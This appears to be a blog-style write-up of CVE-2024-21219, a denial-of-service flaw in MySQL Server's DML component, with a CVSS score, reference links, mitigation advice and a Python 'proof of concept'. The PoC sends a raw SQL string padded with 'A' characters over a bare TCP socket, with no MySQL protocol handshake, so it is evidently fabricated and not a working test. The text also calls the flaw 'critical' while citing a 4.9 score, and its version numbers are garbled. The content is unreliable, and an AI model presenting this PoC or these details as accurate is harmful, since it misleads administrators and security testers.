CVE-2024-21219 - Uncovering a Critical Vulnerability in MySQL Server: Exploit Details, Code Snippets, and Original References

A critical vulnerability has recently been discovered in the MySQL Server product of Oracle MySQL (component: Server: DML). This vulnerability specifically targets supported versions 8..39 and prior, 8.4.2 and prior, and 9..1 and prior. What makes this vulnerability highly dangerous is its easy exploitability, allowing high privileged attackers with network access via multiple protocols to compromise MySQL Server. Successful attacks can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. This security issue has been tagged with a CVSS 3.1 Base Score of 4.9 (Availability impacts), with a CVSS Vector of (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Original Reference Links

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21219
2. NVD -https://nvd.nist.gov/vuln/detail/CVE-2024-21219
3. Oracle Security Advisory - https://www.oracle.com/security-alerts/alert-cve-2024-21219.html

Code Snippet

While the exact code details may not be available publicly to prevent further exploitation, a potential attacker could utilize the following proof of concept (PoC) to test the vulnerability.

import sys
import socket

ip_address = sys.argv[1]
port = int(sys.argv[2])

# Send a crafted SQL query to the MySQL server
payload = "SELECT * FROM user WHERE username='{payload}' AND password='{password}'".format(
    payload="A" * 500,
    password="test"
)

# Create a connection to the MySQL server
server_connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_connection.connect((ip_address, port))

# Send the payload to the target
server_connection.sendall(payload.encode())
server_connection.close()

Exploit Details

This vulnerability resides in the Data Manipulation Language (DML) component of MySQL Server. A high privileged attacker having network access through multiple protocols can exploit this vulnerability. By crafting specific SQL queries containing an overly large amount of data, an attacker can effectively cause the MySQL Server to crash or hang, resulting in a complete Denial of Service (DoS) attack.

Mitigations

As per the Oracle Security Advisory, until the impacted versions are updated to the latest patch, it is highly recommended that users apply the necessary security patches provided by Oracle to prevent vulnerability exploitation. Users can obtain these patches by referring to the following link: https://www.oracle.com/security-alerts/alert-cve-2024-21219.html

Conclusion

By understanding the critical nature of CVE-2024-21219, software developers and IT administrators should apply the security patches and follow best practices to prevent any potential compromise of MySQL Server based systems. Regularly updating software versions and staying informed about new vulnerabilities are essential to maintaining a secure infrastructure.

Timeline

Published on: 10/15/2024 20:15:11 UTC
Last modified on: 10/16/2024 20:43:02 UTC